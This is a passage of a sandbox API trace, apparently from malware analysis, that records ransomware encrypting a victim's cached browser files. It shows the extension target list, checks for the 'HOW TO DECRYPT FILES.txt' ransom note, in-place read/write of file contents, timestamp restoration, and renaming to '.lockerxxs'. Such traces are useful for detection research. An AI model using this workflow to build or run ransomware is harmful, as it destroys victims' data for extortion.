Files\\Low\\Content.IE5\\ABV8L7MY\\benefits-2[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\benefits-2[1].jpg.lockerxxs")) returned 1 [0082.396] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\" [0082.396] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\") returned="" [0082.397] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\HOW TO DECRYPT FILES.txt" [0082.397] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\how to decrypt files.txt")) returned 0x2020 [0082.397] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\", lpString2="benefits-4[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\benefits-4[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\benefits-4[1].jpg" [0082.397] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\benefits-4[1].jpg", pszSpec="*.ems") returned 0 [0082.397] lstrlenA (lpString="*.ems") returned 5 [0082.397] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\benefits-4[1].jpg", pszSpec="*.db") returned 0 [0082.397] lstrlenA (lpString="*.db") returned 4 [0082.397] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\benefits-4[1].jpg", pszSpec="*.dbf") returned 0 [0082.397] lstrlenA (lpString="*.dbf") returned 5 [0082.397] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\benefits-4[1].jpg", pszSpec="*.myox") returned 0 [0082.397] lstrlenA (lpString="*.myox") returned 6 [0082.397] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\benefits-4[1].jpg", pszSpec="*.myo") returned 0 [0082.397] lstrlenA (lpString="*.myo") returned 5 [0082.397] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\benefits-4[1].jpg", pszSpec="*.qbw") returned 0 [0082.397] lstrlenA (lpString="*.qbw") returned 5 [0082.397] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\benefits-4[1].jpg", pszSpec="*.qbb") returned 0 [0082.397] lstrlenA (lpString="*.qbb") returned 5 [0082.397] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\benefits-4[1].jpg", pszSpec="*.qbm") returned 0 [0082.397] lstrlenA (lpString="*.qbm") returned 5 [0082.397] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\benefits-4[1].jpg", pszSpec="*.qbo") returned 0 [0082.397] lstrlenA (lpString="*.qbo") returned 5 [0082.397] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\benefits-4[1].jpg", pszSpec="*.qbx") returned 0 [0082.398] lstrlenA (lpString="*.qbx") returned 5 [0082.398] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\benefits-4[1].jpg", pszSpec="*.qba") returned 0 [0082.398] lstrlenA (lpString="*.qba") returned 5 [0082.398] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\benefits-4[1].jpg", pszSpec="*.qby") returned 0 [0082.398] lstrlenA (lpString="*.qby") returned 5 [0082.398] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\benefits-4[1].jpg", pszSpec="*.qbj") returned 0 [0082.398] lstrlenA (lpString="*.qbj") returned 5 [0082.398] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\benefits-4[1].jpg", pszSpec="*.ofx") returned 0 [0082.398] lstrlenA (lpString="*.ofx") returned 5 [0082.398] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\benefits-4[1].jpg", pszSpec="*.qif") returned 0 [0082.398] lstrlenA (lpString="*.qif") returned 5 [0082.398] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\benefits-4[1].jpg", pszSpec="*.mye") returned 0 [0082.398] lstrlenA (lpString="*.mye") returned 5 [0082.398] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\benefits-4[1].jpg", pszSpec="*.mbox") returned 0 [0082.398] lstrlenA (lpString="*.mbox") returned 6 [0082.398] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\benefits-4[1].jpg", pszSpec="*.eml") returned 0 [0082.398] lstrlenA (lpString="*.eml") returned 5 [0082.398] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\benefits-4[1].jpg", pszSpec="*.pst") returned 0 [0082.398] lstrlenA (lpString="*.pst") returned 5 [0082.398] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\benefits-4[1].jpg", pszSpec="*.ost") returned 0 [0082.398] lstrlenA (lpString="*.ost") returned 5 [0082.398] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\benefits-4[1].jpg", pszSpec="*.idx") returned 0 [0082.398] lstrlenA (lpString="*.idx") returned 5 [0082.398] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\benefits-4[1].jpg", pszSpec="*.dbx") returned 0 [0082.398] lstrlenA (lpString="*.dbx") returned 5 [0082.398] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\benefits-4[1].jpg", pszSpec="*.sql") returned 0 [0082.399] lstrlenA (lpString="*.sql") returned 5 [0082.399] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\benefits-4[1].jpg", pszSpec="*.mdb") returned 0 [0082.399] lstrlenA (lpString="*.mdb") returned 5 [0082.399] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\benefits-4[1].jpg", pszSpec="*.fdb") returned 0 [0082.399] lstrlenA (lpString="*.fdb") returned 5 [0082.399] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\benefits-4[1].jpg", pszSpec="*.wab") returned 0 [0082.399] lstrlenA (lpString="*.wab") returned 5 [0082.399] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\benefits-4[1].jpg", pszSpec="*.dat") returned 0 [0082.399] lstrlenA (lpString="*.dat") returned 5 [0082.399] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\benefits-4[1].jpg", pszSpec="*.txt") returned 0 [0082.399] lstrlenA (lpString="*.txt") returned 5 [0082.399] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\benefits-4[1].jpg", pszSpec="*.jpeg") returned 0 [0082.399] lstrlenA (lpString="*.jpeg") returned 6 [0082.399] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\benefits-4[1].jpg", pszSpec="*.jpg") returned 1 [0082.399] lstrlenA (lpString="*.jpg") returned 5 [0082.399] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\benefits-4[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\benefits-4[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\benefits-4[1].jpg" [0082.399] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\benefits-4[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\benefits-4[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\benefits-4[1].jpg" [0082.399] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\benefits-4[1].jpg", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\benefits-4[1].jpg.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\benefits-4[1].jpg." [0082.399] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\benefits-4[1].jpg.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\benefits-4[1].jpg.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\benefits-4[1].jpg.lockerxxs" [0082.399] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\benefits-4[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\benefits-4[1].jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa4 [0082.400] GetFileSize (in: hFile=0xa4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x144cd [0082.400] GetFileTime (in: hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x60b84ce0, dwHighDateTime=0x1d2dd9e), lpLastAccessTime=0x407536*(dwLowDateTime=0x60b84ce0, dwHighDateTime=0x1d2dd9e), lpLastWriteTime=0x40753e*(dwLowDateTime=0x60c1d260, dwHighDateTime=0x1d2dd9e)) returned 1 [0082.400] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0082.400] ReadFile (in: hFile=0xa4, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x144a7, lpOverlapped=0x0) returned 1 [0082.403] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\benefits-4[1].jpg") returned="benefits-4[1].jpg" [0082.404] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0082.404] WriteFile (in: hFile=0xa4, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x144a7, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x144a7, lpOverlapped=0x0) returned 1 [0082.404] SetFileTime (hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0082.404] CloseHandle (hObject=0xa4) returned 1 [0082.406] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\benefits-4[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\benefits-4[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\benefits-4[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\benefits-4[1].jpg.lockerxxs")) returned 1 [0082.407] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbf4dbc10, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf4dbc10, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf4dbc10, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x6f15, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName="bootstrap[1].js", cAlternateFileName="BOOTST~1.JS")) returned 1 [0082.407] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0082.407] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="bootstrap[1].js") returned 1 [0082.407] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="bootstrap[1].js") returned 1 [0082.407] lstrcmpiA (lpString1="", lpString2="bootstrap[1].js") returned -1 [0082.408] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\benefits-4[1].jpg") returned="benefits-4[1].jpg" [0082.408] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\" [0082.408] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\") returned="" [0082.408] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\HOW TO DECRYPT FILES.txt" [0082.408] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\abv8l7my\\how to decrypt files.txt")) returned 0x2020 [0082.408] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\", lpString2="bootstrap[1].js" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bootstrap[1].js") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bootstrap[1].js" [0082.408] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bootstrap[1].js", pszSpec="*.ems") returned 0 [0082.408] lstrlenA (lpString="*.ems") returned 5 [0082.408] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bootstrap[1].js", pszSpec="*.db") returned 0 [0082.408] lstrlenA (lpString="*.db") returned 4 [0082.408] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bootstrap[1].js", pszSpec="*.dbf") returned 0 [0082.408] lstrlenA (lpString="*.dbf") returned 5 [0082.408] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bootstrap[1].js", pszSpec="*.myox") returned 0 [0082.408] lstrlenA (lpString="*.myox") returned 6 [0082.408] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bootstrap[1].js", pszSpec="*.myo") returned 0 [0082.408] lstrlenA (lpString="*.myo") returned 5 [0082.408] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bootstrap[1].js", pszSpec="*.qbw") returned 0 [0082.408] lstrlenA (lpString="*.qbw") returned 5 [0082.408] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bootstrap[1].js", pszSpec="*.qbb") returned 0 [0082.408] lstrlenA (lpString="*.qbb") returned 5 [0082.408] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bootstrap[1].js", pszSpec="*.qbm") returned 0 [0082.408] lstrlenA (lpString="*.qbm") returned 5 [0082.409] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bootstrap[1].js", pszSpec="*.qbo") returned 0 [0082.409] lstrlenA (lpString="*.qbo") returned 5 [0082.409] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bootstrap[1].js", pszSpec="*.qbx") returned 0 [0082.409] lstrlenA (lpString="*.qbx") returned 5 [0082.409] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bootstrap[1].js", pszSpec="*.qba") returned 0 [0082.409] lstrlenA (lpString="*.qba") returned 5 [0082.409] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bootstrap[1].js", pszSpec="*.qby") returned 0 [0082.409] lstrlenA (lpString="*.qby") returned 5 [0082.409] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bootstrap[1].js", pszSpec="*.qbj") returned 0 [0082.409] lstrlenA (lpString="*.qbj") returned 5 [0082.409] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bootstrap[1].js", pszSpec="*.ofx") returned 0 [0082.409] lstrlenA (lpString="*.ofx") returned 5 [0082.409] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bootstrap[1].js", pszSpec="*.qif") returned 0 [0082.409] lstrlenA (lpString="*.qif") returned 5 [0082.409] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bootstrap[1].js", pszSpec="*.mye") returned 0 [0082.409] lstrlenA (lpString="*.mye") returned 5 [0082.409] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bootstrap[1].js", pszSpec="*.mbox") returned 0 [0082.409] lstrlenA (lpString="*.mbox") returned 6 [0082.409] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bootstrap[1].js", pszSpec="*.eml") returned 0 [0082.409] lstrlenA (lpString="*.eml") returned 5 [0082.409] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bootstrap[1].js", pszSpec="*.pst") returned 0 [0082.409] lstrlenA (lpString="*.pst") returned 5 [0082.409] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bootstrap[1].js", pszSpec="*.ost") returned 0 [0082.410] lstrlenA (lpString="*.ost") returned 5 [0082.410] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bootstrap[1].js", pszSpec="*.idx") returned 0 [0082.410] lstrlenA (lpString="*.idx") returned 5 [0082.410] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bootstrap[1].js", pszSpec="*.dbx") returned 0 [0082.410] lstrlenA (lpString="*.dbx") returned 5 [0082.410] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\bootstrap[1].js", 